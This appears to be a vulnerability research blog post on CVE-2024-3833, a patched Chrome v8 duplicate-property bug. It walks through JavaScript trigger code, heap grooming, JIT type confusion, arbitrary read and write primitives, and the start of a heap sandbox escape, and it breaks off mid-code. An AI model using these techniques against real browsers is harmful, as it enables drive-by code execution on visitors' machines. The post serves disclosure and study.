Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that I reported in March 2024 as bug 331383939. A similar bug, 331358160, was also reported and was assigned CVE-2024-3832. Both of these bugs were fixed in version 124.0.6367.60/.61. CVE-2024-3833 allows RCE in the renderer sandbox of Chrome by a single visit to a malicious site.
在这篇文章中,我将利用 CVE-2024-3833,这是 Chrome Javascript 引擎 v8 中的一个对象损坏错误,我于 2024 年 3 月将其报告为错误 331383939。还报告了类似的错误 331358160,并分配了 CVE -2024-3832。这两个错误均已在版本 124.0.6367.60/.61 中修复。 CVE-2024-3833 允许通过对恶意站点的单次访问在 Chrome 渲染器沙箱中进行 RCE。

Origin trials in Chrome
Chrome 中的 Origin 试验

New features in Chrome are sometimes rolled out as origin trials features before they are made available in general. When a feature is offered as an origin trial, web developers can register their origins with Chrome, which allows them to use the feature on the registered origin. This allows web developers to test a new feature on their website and provide feedback to Chrome, while keeping the feature disabled on websites that haven’t requested their use. Origin trials are active for a limited amount of time and anyone can register their origin to use a feature from the list of active trials. By registering the origin, the developer is given an origin trial token, which they can include in their website by adding a meta tag: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">.
Chrome 中的新功能有时会在普遍可用之前作为原始试用功能推出。当某项功能作为源试用版提供时,Web 开发人员可以向 Chrome 注册其源,这样他们就可以在注册的源上使用该功能。这使得网络开发人员可以在其网站上测试新功能并向 Chrome 提供反馈,同时在未请求使用的网站上禁用该功能。起源试用版在有限的时间内处于活动状态,任何人都可以注册其起源以使用活跃试用列表中的功能。通过注册源,开发人员将获得一个源试用令牌,他们可以通过添加元标记将其包含在其网站中: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE"> 。

The old bug 老错误

Usually, origin trials features are enabled before any user Javascript is run. This, however, is not always true. A web page can create the meta tag that contains the trial token programmatically at any time, and Javascript can be executed before the tag is created. In some cases, the code responsible for turning on the specific origin trial feature wrongly assumes that no user Javascript has run before it, which can lead to security issues.
通常,在运行任何用户 Javascript 之前,会启用原始试验功能。然而,这并不总是正确的。网页可以随时以编程方式创建包含试用令牌的元标记,并且可以在创建标记之前执行Javascript。在某些情况下,负责打开特定原始试用功能的代码错误地假设没有用户 Javascript 在其之前运行过,这可能会导致安全问题。

One example was CVE-2021-30561, reported by Sergei Glazunov of Google Project Zero. In that case, the WebAssembly Exception Handling feature would create an Exception property in the Javascript WebAssembly object when the origin trial token was detected.
CVE-2021-30561 就是一个例子,由 Google 零号项目的 Sergei Glazunov 报告。在这种情况下,当检测到原始试用令牌时,WebAssembly 异常处理功能将在 Javascript WebAssembly 对象中创建 Exception 属性。


let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created

In particular, the code that creates the Exception property uses an internal function to create the property, which assumes the Exception property does not exist in the WebAssembly object. If the user created the Exception property prior to activating the trial, then Chrome would try to create another Exception property in WebAssembly. This could produce two duplicated Exception properties in WebAssembly with different values. This can then be used to cause type confusion in the Exception property, which can then be exploited to gain RCE.
特别是,创建 Exception 属性的代码使用内部函数来创建该属性,该函数假定 WebAssembly 对象中不存在 Exception 属性。如果用户在激活试用版之前创建了 Exception 属性,则 Chrome 会尝试在 WebAssembly 中创建另一个 Exception 属性。这可能会在 WebAssembly 中产生两个具有不同值的重复 Exception 属性。然后,这可以用来导致 Exception 属性中的类型混淆,然后可以利用它来获得 RCE。


WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Exception property
...

What actually happens with CVE-2021-30561 is more complicated because the code that enables the WebAssembly Exception Handling feature does check to make sure that the WebAssembly object does not already contain a property named Exception. The check used there, however, is not sufficient and is bypassed in CVE-2021-30561 by using the Javascript Proxy object. For details of how this bypass and exploit works, I’ll refer readers to look at the original bug ticket, which contains all the details.
CVE-2021-30561 实际发生的情况更为复杂,因为启用 WebAssembly 异常处理功能的代码会进行检查以确保 WebAssembly 对象尚未包含名为 Exception .然而,此处使用的检查还不够,在 CVE-2021-30561 中可以通过使用 Javascript Proxy 对象来绕过。有关此绕过和利用如何工作的详细信息,我将建议读者查看原始错误单,其中包含所有详细信息。

Another day, another bypass
另一天,另一次绕过

Javascript Promise Integration is a WebAssembly feature that is currently in an origin trial (until October 29, 2024). Similar to the WebAssembly Exception Handling feature, it defines properties on the WebAssembly object when an origin trial token is detected by calling InstallConditionalFeatures:
Javascript Promise Integration 是一项 WebAssembly 功能,目前处于原始试用阶段(截至 2024 年 10 月 29 日)。与 WebAssembly 异常处理功能类似,当通过调用 InstallConditionalFeatures 检测到原始试用令牌时,它会在 WebAssembly 对象上定义属性:


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
   ...
  // Install JSPI-related features.
  if (isolate->IsWasmJSPIEnabled(context)) {
    Handle suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)  //<--- 1.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // Install Wasm type reflection features (if not already done).
    Handle function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)   //<--- 2.
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

When adding the Javascript Promise Integration (JSPI), The code above checks whether webassembly already has the properties Suspender and Function (1. and 2. in the above), if not, it’ll create these properties using InstallSuspenderConstructor and InstallTypeReflection respectively. The function InstallSuspenderConstructor uses InstallConstructorFunc to create the Suspender property on the WebAssembly object:
添加 Javascript Promise Integration (JSPI) 时,上面的代码检查 webassembly 是否已具有属性 Suspender 和 Function (上面的 1. 和 2. ),如果没有,它将分别使用 InstallSuspenderConstructor 和 InstallTypeReflection 创建这些属性。函数 InstallSuspenderConstructor 使用 InstallConstructorFunc 在 WebAssembly 对象上创建 Suspender 属性:


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);  //<--- 3.
  Handle suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  ...
}

The problem is, in InstallSuspenderConstructor, the WebAssembly object comes from the wasm_webassembly_object property of context (3. in the above), while the WebAssembly object that is checked in InstallConditionalFeatures comes from the property WebAssembly of the global object (which is the same as the global WebAssembly variable):
问题是,在 InstallSuspenderConstructor 中, WebAssembly 对象来自 context 的 wasm_webassembly_object 属性(上面的 3.),而 InstallConditionalFeatures 中检查的 WebAssembly 对象来自全局对象的属性 WebAssembly (与全局 WebAssembly 相同)多变的):


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
  Handle global = handle(context->global_object(), isolate);
  // If some fuzzer decided to make the global object non-extensible, then
  // we can't install any features (and would CHECK-fail if we tried).
  if (!global->map()->is_extensible()) return;

  MaybeHandle maybe_wasm =
      JSReceiver::GetProperty(isolate, global, "WebAssembly");

The global WebAssembly variable can be changed to any user defined object by using Javascript:
全局 WebAssembly 变量可以使用 Javascript 更改为任何用户定义的对象:


WebAssembly = {}; //<---- changes the WebAssembly global variable

While this changes the value of WebAssembly, the wasm_webassembly_object cached in context is not affected. It is therefore possible to first define a Suspender property on the WebAssembly object, then set the WebAssembly variable to a different object and then activate the Javascript Promise Integration origin trial to create a duplicate Suspender in the original WebAssembly object:
虽然这会更改 WebAssembly 的值,但 context 中缓存的 wasm_webassembly_object 不受影响。因此,可以首先在 WebAssembly 对象上定义 Suspender 属性,然后将 WebAssembly 变量设置为不同的对象,然后激活 Javascript Promise Integration 对象中创建重复的 Suspender :


WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);

When the origin trial is triggered, InstallConditionalFeatures first checks that the Suspender property is absent from the WebAssembly global variable (which is newWebAssembly in the above). It then proceeds to create the Suspender property in context->wasm_webassembly_object (which is oldWebAssembly in the above). Doing so creates a duplicate Suspender property in oldWebAssembly, much like what happened in CVE-2021-30561.
当触发原始试验时, InstallConditionalFeatures 首先检查 WebAssembly 全局变量(即 newWebAssembly 中的 Suspender 属性是否不存在)以上)。然后,它继续在 context->wasm_webassembly_object 中创建 Suspender 属性(即上面的 oldWebAssembly )。这样做会在 oldWebAssembly 中创建重复的 Suspender 属性,就像 CVE-2021-30561 中发生的情况一样。


DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x2d5b00387061  [DictionaryProperties]
 - prototype: 0x2d5b003043e9 
 - elements: 0x2d5b000006f5  [HOLEY_ELEMENTS]
 - properties: 0x2d5b0034a8fd 
 - All own properties (excluding elements): {
   ...
   Suspender: 0x2d5b0039422d  (data, dict_index: 20, attrs: [W_C])
   ...
   Suspender: 1 (data, dict_index: 19, attrs: [WEC])

This causes oldWebAssembly to have 2 Suspender properties that are stored at different offsets. I reported this issue as 331358160 and it was assigned CVE-2024-3832.

The function InstallTypeReflection suffers a similar problem but have some extra issues:


void WasmJs::InstallTypeReflection(Isolate* isolate,
                                   Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name) \
  handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
  ...
  InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type",  //<--- 1.
              WebAssemblyTableType, 0, false, NONE,
              SideEffectType::kHasNoSideEffect);
  ...
#undef INSTANCE_PROTO_HANDLE
}

The function InstallTypeReflection also defines a type property in various other objects. For example, in 1., the property type is created in the prototype object of the wasm_tag_constructor, without checking whether the property already existed:


var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<--- creates duplicate type property on x

This then allows duplicate type properties to be created on WebAssembly.Tag.prototype. This issue was reported as 331383939 and was assigned CVE-2024-3833.

A new exploit

The exploit for CVE-2021-30561 relies on creating duplicate properties of “fast objects.” In v8, fast objects store their properties in an array (some properties are also stored inside the object itself). However, a hardening patch has since landed, which checks for duplicates when adding properties to a fast object. As such, it is no longer possible to create fast objects with duplicate properties.

It is, however, still possible to use the bug to create duplicate properties in “dictionary objects.” In v8, property dictionaries are implemented as NameDictionary. The underlying storage of a NameDictionary is implemented as an array, with each element being a tuple of the form (Key, Value, Attribute), where Key is the name of the property. When adding a property to the NameDictionary, the next free entry in the array is used to store this new tuple. With the bug, it is possible to create different entries in the property dictionary with a duplicate Key. In the report of CVE-2023-2935, Sergei Glazunov showed how to exploit the duplicate property primitive with dictionary objects. This, however, relies on being able to create the duplicate property as an AccessorInfo property, which is a special kind of property in v8 that is normally reserved for builtin objects. This, again, is not possible in the current case. So, I need to find a new way to exploit this issue.

The idea is to look for some internal functions or optimizations that will go through all the properties of an object, but not expect properties to be duplicated. One such optimization that comes to mind is object cloning.

Attack of the clones

Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

When an object is copied using the spread syntax, a shallow copy of the original object is created:


const clonedObj = { ...obj1 };

In v8, this is implemented as the CloneObject bytecode:


0x39b300042178 @    0 : 80 00 00 29       CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @   15 : 82 f7 29 05       CloneObject r2, #41, [5]

When a function containing the bytecode is first run, inline cache code is generated and used to handle the bytecode in subsequent calls. While handling the bytecode, the inline cache code will also collect information about the input object (obj1) and generate optimized inline cache handlers for inputs of the same type. When the inline cache code is first run, there is no information about previous input objects, and no cached handler is available. As a result, an inline cache miss is detected and CloneObjectIC_Miss is used to handle the bytecode. To understand how the CloneObject inline cache works and how it is relevant to the exploit, I’ll recap some basics in object types and properties in v8. Javascript objects in v8 store a map field that specifies the type of the object, and, in particular, it specifies how properties are stored in the object:


x = { a : 1};
x.b = 1;
%DebugPrint(x);

The output of %DebugPrint is as follows:


DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
 - map: 0x1c870011afb1  [FastProperties]
 ...
 - properties: 0x1c870020b161 
 - All own properties (excluding elements): {
    0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }

We see that x has two properties—one is stored in the object (a) and the other stored in a PropertyArray. Note that the length of the PropertyArray is 3 (PropertyArray[3]), while only one property is stored in the PropertyArray. The length of a PropertyArray is like the capacity of a std::vector in C++. Having a slightly bigger capacity avoids having to extend and reallocate the PropertyArray every time a new property is added to the object.

The map of the object uses the fields inobject_properties and unused_property_fields to indicate how many properties are stored in the object and how much space is left in the PropertyArray. In this case, we have 2 free spaces (3 (PropertyArray length) - 1 (property in the array) = 2).


0x1c870011afb1: [Map] in OldSpace
 - map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 2
...

When a cache miss happens, CloneObjectIC_Miss first tries to determine whether the result of the clone (the target) can use the same map as the original object (the source) by examining the map of the source object using GetCloneModeForMap (1. in the following):


RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(4, args.length());
  Handle source = args.at(0);
  int flags = args.smi_value_at(1);

  if (!MigrateDeprecated(isolate, source)) {
        ...
        FastCloneObjectMode clone_mode =
            GetCloneModeForMap(source_map, flags, isolate);  //<--- 1.
        switch (clone_mode) {
          case FastCloneObjectMode::kIdenticalMap: {
            ...
          }
          case FastCloneObjectMode::kEmptyObject: {
            ...
          }
          case FastCloneObjectMode::kDifferentMap: {
            ...
          }
          ...
        }
     ...
  }
  ...
}

The case that is relevant to us is the FastCloneObjectMode::kDifferentMap mode.


case FastCloneObjectMode::kDifferentMap: {
  Handle res;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, res, CloneObjectSlowPath(isolate, source, flags));   //<----- 1.
  Handle result_map(Handle::cast(res)->map(),
                         isolate);
  if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                          isolate)) {
    ...
    nexus.ConfigureCloneObject(source_map,                          //<----- 2.
                               MaybeObjectHandle(result_map));
...

In this mode, a shallow copy of the source object is first made via the slow path (1. in the above). The handler of the inline cache is then encoded as a pair of maps consisting of the map for the source and target objects respectively (2. in the above).

From now on, if another object with the source_map is being cloned, the inline cache handler is used to clone the object. Essentially, the source object is copied as follows:

  1. Make a copy of the PropertyArray of the source object:
    
          TNode source_property_array = CAST(source_properties);
    
          TNode length = LoadPropertyArrayLength(source_property_array);
          GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
    
          TNode property_array = AllocatePropertyArray(length);
          FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
          CopyPropertyArrayValues(source_property_array, property_array, length,
                                  SKIP_WRITE_BARRIER, DestroySource::kNo);
          var_properties = property_array;
    
  2. Allocate the target object and use result_map as its map.
    
      TNode object = UncheckedCast(AllocateJSObjectFromMap(
            result_map.value(), var_properties.value(), var_elements.value(),
            AllocationFlag::kNone,
            SlackTrackingMode::kDontInitializeInObjectProperties));
    
  3. Copy the in-object properties from source to target.
    
        BuildFastLoop(
            result_start, result_size,
            [=](TNode field_index) {
              ...
              StoreObjectFieldNoWriteBarrier(object, result_offset, field);
            },
            1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
    

What happens if I try to clone an object that has a duplicated property? When the code is first run, CloneObjectSlowPath is called to allocate the target object, and then copy each property from the source to target. However, the code in CloneObjectSlowPath handles duplicate properties properly, so when the duplicated property in source is encountered, instead of creating a duplicate property in target, the existing property is overwritten instead. For example, if my source object has this following layout:


DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x38ea00397745  [FastProperties]
 ...
 - properties: 0x38ea00355e85 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (const data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (const data field 7), location: properties[3]

Which has a PropertyArray of length 4, with a duplicated type as the last property in the PropertyArray. The target resulting from cloning this object will have the first type property overwritten:


DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea00356001 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

Note that the target has a PropertyArray of length 3 and also three properties in the PropertyArray (properties #a4..#a6, which have location in properties) In particular, there is no unused_property_fields in the target object:


0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

While this may look like a setback as the duplicated property does not get propagated to the target object, the real magic happens when the inline cache handler takes over. Remember that, when cloning with the inline cache handler, the resulting object has the same map as the target object from CloneObjectSlowPath, while the PropertyArray is a copy of the PropertyArray of the source object. That means the clone target from inline cache handler has the following property layout:


DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea003565b1 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]

Note that it has a PropertyArray of length 4, but only three properties in the array, leaving one unused property. However, its map is the same as the one used by CloneObjectSlowPath (0x38ea003978b9), which has no unused_property_fields:


0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

So, instead of getting an object with a duplicated property, I end up with an object that has an inconsistent unused_property_fields and PropertyArray. Now, if I add a new property to this object, a new map will be created to reflect the new property layout of the object. This new map has an unused_property_fields based on the old map, which is calculated in AccountAddedPropertyField. Essentially, if the old unused_property_fields is positive, this decreases the unused_property_fields by one to account for the new property being added. And if the old unused_property_fields is zero, then the new unused_property_fields is set to two, accounting for the fact that the PropertyArray is full and has to be extended.

On the other hand, the decision to extend the PropertyArray is based on its length rather than unused_property_fields of the map:


void MigrateFastToFast(Isolate* isolate, Handle object,
                       Handle new_map) {
    ...
    // Check if we still have space in the {object}, in which case we
    // can also simply set the map (modulo a special case for mutable
    // double boxes).
    FieldIndex index = FieldIndex::ForDetails(*new_map, details);
    if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
      ...
      object->set_map(*new_map, kReleaseStore);
      return;
    }
    // This migration is a transition from a map that has run out of property
    // space. Extend the backing store.
    int grow_by = new_map->UnusedPropertyFields() + 1;
    ...  

So, if I have an object that has zero unused_property_fields but a space left in the PropertyArray, (that is, length = existing_property_number + 1) then the PropertyArray will not be extended when I add a new property. So, after adding a new property, the PropertyArray will be full. However, as mentioned before, unused_property_fields is updated independently and it will be set to two as if the PropertyArray is extended:


DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
 - map: 0x257500397749  [FastProperties]
 ...
 - properties: 0x2575003565b1 
 - All own properties (excluding elements): {
    0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171  (data field 0), location: in-object
    0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
    0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
 }
0x257500397749: [Map] in OldSpace
 - map: 0x2575003034b1 <MetaMap (0x257500303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 2

This is important because the JIT compiler of v8, TurboFan, uses unused_property_fields to decide whether PropertyArray needs to be extended:


JSNativeContextSpecialization::BuildPropertyStore(
    Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
    Node* control, NameRef name, ZoneVector* if_exceptions,
    PropertyAccessInfo const& access_info, AccessMode access_mode) {
    ...
    if (transition_map.has_value()) {
      // Check if we need to grow the properties backing store
      // with this transitioning store.
      ...
      if (original_map.UnusedPropertyFields() == 0) {
        DCHECK(!field_index.is_inobject());

        // Reallocate the properties {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);

So, by adding new properties to an object with two unused_property_fields and a full PropertyArray via JIT, I’ll be able to write to PropertyArray out-of-bounds (OOB) and overwrite whatever that is allocated after it.

Creating a fast object with duplicate properties

In order to cause the OOB write in PropertyArray, I first need to create a fast object with duplicate properties. As mentioned before, a hardening patch has introduced a check for duplicates when adding properties to a fast object, and I therefore cannot create a fast object with duplicate properties directly. The solution is to first create a dictionary object with duplicate properties using the bug, and then change the object into a fast object. To do so, I’ll use WebAssembly.Tag.prototype to trigger the bug:


var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...

Once I’ve got a dictionary object with a duplicated property, I can change it to a fast object by using MakePrototypesFast, which can be triggered via property access:


var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;

By making x to be the prototype of an object y and then accessing a property of yMakePrototypesFast is called to change x into a fast object with duplicate properties. After this, I can clone x to trigger an OOB write in the PropertyArray.

Exploiting OOB write in PropertyArray

To exploit the OOB write in the PropertyArray, let’s first check and see what is allocated after the PropertyArray. Recall that the PropertyArray is allocated in the inline cache handler. From the handler code, I can see that PropertyArray is allocated right before the target object is allocated:


void AccessorAssembler::GenerateCloneObjectIC() {
    ...
      TNode property_array = AllocatePropertyArray(length);  //<--- property_array allocated
      ...
      var_properties = property_array;
    }

    Goto(&allocate_object);
    BIND(&allocate_object);
    ...
    TNode object = UncheckedCast(AllocateJSObjectFromMap(  //<--- target object allocated
        result_map.value(), var_properties.value(), var_elements.value(),
        AllocationFlag::kNone,
        SlackTrackingMode::kDontInitializeInObjectProperties));

As v8 allocates objects linearly, an OOB write therefore allows me to alter the internal fields of the target object. To exploit this bug, I’ll overwrite the second field of the target object, the properties field, which stores the address of the PropertyArray for the target object. This involves creating JIT functions to add two properties to the target object.


a8 = {c : 1};
...
function transition_store(x) {
  x.a7 = 0x100;
}
function transition_store2(x) {
  x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);

When storing the property a8 to the corrupted object obj that has inconsistent PropertyArray and unused_property_fields, an OOB write to the PropertyArray will overwrite PropertyArray of obj with the Javascript object a8. This can then be exploited by carefully arranging objects in the v8 heap. As the objects are allocated in the v8 heap linearly, the heap can easily be arranged by allocating objects in order. For example, in the following code:


var a8 = {c : 1};
var a7 = [1,2];

The v8 heap around the object a8 looks as follows:

Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

The left hand side shows the objects a8 and a7. The fields mapproperties, and elements are internal fields in the C++ objects that correspond to the Javascript objects. The right hand side represents the view of the memory as the PropertyArray of obj (when the PropertyArray of obj is set to the address of a8). A PropertyArray has two internal fields, map and length. When the object a8 is type-confused with a PropertyArray, its properties field, which is the address of its PropertyArray, is interpreted as the length of the PropertyArray of obj. As an address is usually a large number, this allows further OOB read and write to the PropertyArray of obj.

A property, ai+3 in the PropertyArray is going to align with the length field of the Array a7. By writing this property, the length of the Array a7 can be overwritten. This allows me to achieve an OOB write in a Javascript array, which can be exploited in a standard way. However, in order to overwrite the length field, I must keep adding properties to obj until I reach the length field. This, unfortunately, means that I will also overwrite the mapproperties and elements fields, which will ruin the Array a7.

To avoid overwriting the internal fields of a7, I’ll instead create a7 so that its PropertyArray is allocated before it. This can be achieved by creating a7 with cloning:


var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
  return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);

The object obj0 has five fields, with the last one, c4 stored in the PropertyArray:


DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]

When cloning obj0 using the inline cache handler in the function clone0, recall that the PropertyArray of the target object (a7 in this case) is allocated first, and therefore the PropertyArray of a7 will be allocated right after the object a8, but before a7:


//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
 - properties: 0x00ad0004a829 
 - All own properties (excluding elements): {
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]
 }

As we can see, the address of a8 is 0xad0004a7fd, while the address of the PropertyArray of a7 is at 0x00ad0004a829, and a7 is at 0xad0004a83d. This leads to the following memory layout:

Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

With this heap layout, I can overwrite the property c4 of a7 by writing to a property ai in obj that aligns to c4. Although map and length of the PropertyArray will also be overwritten, this does not seem to affect property access of a7. I can then create a type confusion between Javascript Object and Array by using optimized property loading in the JIT compiler.


function set_length(x) {
  x.c4.len = 1000;
}

When the function set_length is optimized with a7 as its input x, because the property c4 of a7 is an object that has a constant map (it is always {len : 1}), the map of this property is stored in the map of a7. The JIT compiler makes use of this information to optimize the property access of x.c4.len. As long as the map of x remains the same as the map of a7x.c4 will have the same map as {len : 1} and therefore the property len of x.c4 can be accessed by using memory offset directly, without checking the map of x.c4. However, by using the OOB write in the PropertyArray to change a7.c4 into a double Arraycorrupted_arr, the map of a7 will not change, and the JIT compiled code for set_length will treat a7.c4 as if it still has the same map as {len : 1}, and write directly to the memory offset corresponding to the len property of a7.c4. As a7.c4 is now an Array object, corrupted_arr, this will overwrite the length property of corrupted_arr, which allows me to access corrupted_arr out-of-bounds. Once an OOB access to corrupted_arr is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:

  1. First, place an Object Array after corrupted_arr, and use the OOB read primitive in corrupted_arr to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
  2. Place another double array, writeArr after corrupted_arr, and use the OOB write primitive in corrupted_arr to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses.

Bypassing the v8 heap sandbox

The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed. As the bug was reported soon after the Pwn2Own contest, I decided to check the commits to see if there was any sandbox escape that was patched as a result of the contest. Sure enough, there was a commit that appeared to be fixing a heap sandbox escape, which I assumed was used with an entry to the Pwn2Own contest.

When creating a WebAssembly.Instance object, objects from Javascript or other WebAssembly modules can be imported and be used in the instance:


const importObject = {
  imports: {
    imported_func(arg) {
      console.log(arg);
    },
  },
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

In this case, the imported_func is imported to the instance and can be called by WebAssembly functions defined in the WebAssembly module that imports them:


(module
  (func $i (import "imports" "imported_func") (param i32))
  (func (export "exported_func")
    i32.const 42
    call $i
  )

To implement this in v8, when the WebAssembly.Instance is created, a FixedAddressArray was used to store addresses of imported functions:


Handle WasmTrustedInstanceData::New(
